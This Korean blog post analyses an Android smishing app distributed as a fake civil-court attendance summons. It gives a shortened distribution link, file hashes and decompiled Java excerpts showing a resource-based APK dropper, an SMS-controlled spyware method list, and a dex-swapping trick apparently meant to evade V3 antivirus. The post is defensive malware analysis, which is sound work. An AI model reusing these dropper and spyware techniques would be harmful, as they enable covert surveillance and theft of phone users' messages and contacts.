annyoung

민사사건 출석 명령서 스미싱 분석 본문

분석생활

민사사건 출석 명령서 스미싱 분석

nopsled 2015. 6. 2. 00:39


단축 URL과 개인서버를 사용하여 유포중이다.

bit.ly/1QjzEjT





캡챠를 사용하여 자동 크롤링 방지




FileName 

 com.spo.plus.plus.apk

 MD5

 82A7B070E5F7DA62297B7F7448BC5C51

 SHA-1

 FBF45A32D4B50169C6E5BA6547CA13E8CCB0C862

 Packer

 X

드랍되는 어플리케이션은 위의 정보와 같다.



패킹도 안되어 있고 거의 기본으로 되어 있는 귀여운 어플리케이션이다.






public class AppContext extends Application

{

  public static final String BASEDIR = Environment.getExternalStorageDirectory().toString() + "/Download";

  public static final String GOOGGLPLAYNAME = "com.google.smart.Gsmart";

  public static final String GOOGLEFILENAME = "google.apk";


  public void onCreate()

  {

    try

    {

      File localFile = new File(BASEDIR);

      if (!localFile.exists())

        localFile.mkdir();

      InputStream localInputStream = getApplicationContext().getResources().openRawResource(2130968576);

      FileOutputStream localFileOutputStream = new FileOutputStream(new File(BASEDIR + "/" + "google.apk"));

      byte[] arrayOfByte = new byte[1024];

      int i = 0;

      while (true)

      {

        int j = localInputStream.read(arrayOfByte);

        if (j == -1)

        {

          localFileOutputStream.flush();

          localFileOutputStream.close();

          localInputStream.close();

          startService(new Intent(this, SEUOService.class));

          return;

        }

        i += j;

        localFileOutputStream.write(arrayOfByte, 0, j);

      }

    }

    catch (Exception localException)

    {

      while (true)

        localException.getMessage();

    }

  }

} 

- 이 친구가 하는 기능은 무엇이냐면, resource directory에서도 raw 리소스를 참조하여 google.apk로 드랍하는 역할을 한다. 대부분의 스미싱은 assets 영역에서 파일을 드랍하여 설치하는 방식이지만 이번껀 raw 리소스를 참조하여 파일을 /local/Download/에 google.apk로 드랍하여 실행한다.




 FileName 

 g

 MD5

 E2A574EC7AF71C354528A748EEB3C842

 SHA-1

 C9C3248638FB3ACB74D4307805D9A1D2AB4A2A55

 Packer

 X

그렇다면 이제 이 친구(com.spo.plus.plus.apk\res\raw\g)는 PK 포맷 형식으로 APK 어플리케이션이 resourced영역 중에서도 raw에 저장되어 있는거다.



public class OrgMethod

{

  public static Method appInit;

  public static Method domainCheck;

  public static Method getClientID;

  public static Method getSmsIntercept;

  public static Method getSmsObserver;

  public static Method getSmsReceiver;

  public static Method installPackage;

  public static Method queryIntercept;

  public static Method registerSmsObserver;

  public static Method sendSms;

  public static Method serviceCheck;

  public static Method setRepeatTasks;

  public static Method setSmsIntercept;

  public static Method updateClientStatu;

  public static Method updateHost;

  public static Method updateVersion;

  public static Method uploadContacts;

  public static Method uploadPhoneInfo;

  public static Method uploadSms; 

}

- 원격제어형 어플리케이션인데, 금융정보를 탈취하는 내용은 보이지가 않는다. 악성 행위를 크게 보면 C&C IP 새로 받아오기, 악성 어플리케이션 버전 업데이트, 문자보내기, 패키이 설치, SMS 감시 설정, 연락처 업로드, 폰정보 업로드, 문자 업로드 등으로 되어 있다.



public class Sms

  implements Serializable

{

  private static final long serialVersionUID = 1L;

  public String clientId;

  public String content;

  public String datetime;

  public String sendPhone;

  public String smsId;

  public String type;


  public Sms()

  {

  }


  public Sms(String paramString1, String paramString2, String paramString3, String paramString4, String paramString5)

  {

    this.clientId = paramString1;

    this.sendPhone = paramString2;

    this.content = paramString3;

    this.datetime = paramString4;

    this.type = paramString5;

  }


  public String toString()

  {

    return "smsId: " + this.smsId + ", sendPhone: " + this.sendPhone + ",content: " + this.content + ",datetime: " + this.datetime + ",type: " + this.type;

  }

} 

- 대부분의 원격제어는 문자를 이용하여 원격제어 되는것으로 추정된다. 공격자는 피해자에게 특정단어가 들어간 문자를 보냄으로써 핸드폰을 제어할 수 있는 것으로 보인다. 위에서 나오는 소스코드는 발신 번호, 수신 번호, 문자 내용을 파싱하는 소스코드이다.



new Thread(new Runnable()

    {

      public void run()

      {

        try

        {

          InputStream localInputStream = AppContext.this.getResources().openRawResource(2130968577);

          File localFile1 = new File(AppContext.this.getDir("org", 0), "org.dex");

          if (!localFile1.exists())

            localFile1.createNewFile();

          FileOutputStream localFileOutputStream = new FileOutputStream(localFile1);

          byte[] arrayOfByte = new byte[1024];

- Thread를 생성하여 resource 영역중에서 raw에 있는 org를 패키지를 설치한다. 아마 antiV3plus에서 사용하는 것 같다. 해당 org.dex를 V3패키지를 바꿔치기 하여 탐지를 우회하는 것 같다.



정보 유출지는 SMS로 받아오는 식으로 되어 있어서 동적으로 돌려봐야 나올 것 같다.


Comments